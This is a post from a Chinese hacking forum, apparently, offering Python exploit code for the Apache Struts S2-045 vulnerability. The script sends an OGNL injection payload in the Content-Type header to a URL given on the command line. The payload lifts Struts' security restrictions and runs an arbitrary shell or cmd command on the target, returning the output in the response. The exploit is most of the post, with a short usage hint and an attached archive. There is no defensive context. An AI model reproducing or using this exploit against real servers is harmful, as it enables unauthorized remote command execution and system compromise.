struts-045利用代码-女黑客-必火安全学院

女黑客

 找回密码
 立即注册

QQ登录

只需一步,快速开始

struts-045利用代码

[复制链接]
发表于 2018-12-10 10:24:07 | 显示全部楼层 |阅读模式
#把以下的代码中的ccmmdd替换为cmd
#!/usr/bin/env python
#coding:utf8
#Author:Tututu
__author__ = 'Tututu'
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
reload(sys)
sys.setdefaultencoding('utf-8')

def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ccmmdd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#ccmmdds=(#iswin?{'ccmmdd.exe','/c',#ccmmdd}:{'/bin/bash','-c',#ccmmdd})).(#p=new java.lang.ProcessBuilder(#ccmmdds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    # print(header["Content-Type"])
    # exit()
    request = urllib2.Request(str(sys.argv[1]), datagen, headers=header)
    response = urllib2.urlopen(request)
    print response.read()

poc()

st2-045.rar

954 Bytes, 下载次数: 14

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|小黑屋|女黑客 |网站地图

© Copyright 2021 版权所有(一极教育科技有限公司)

津ICP备17008032号-3
快速回复 返回顶部 返回列表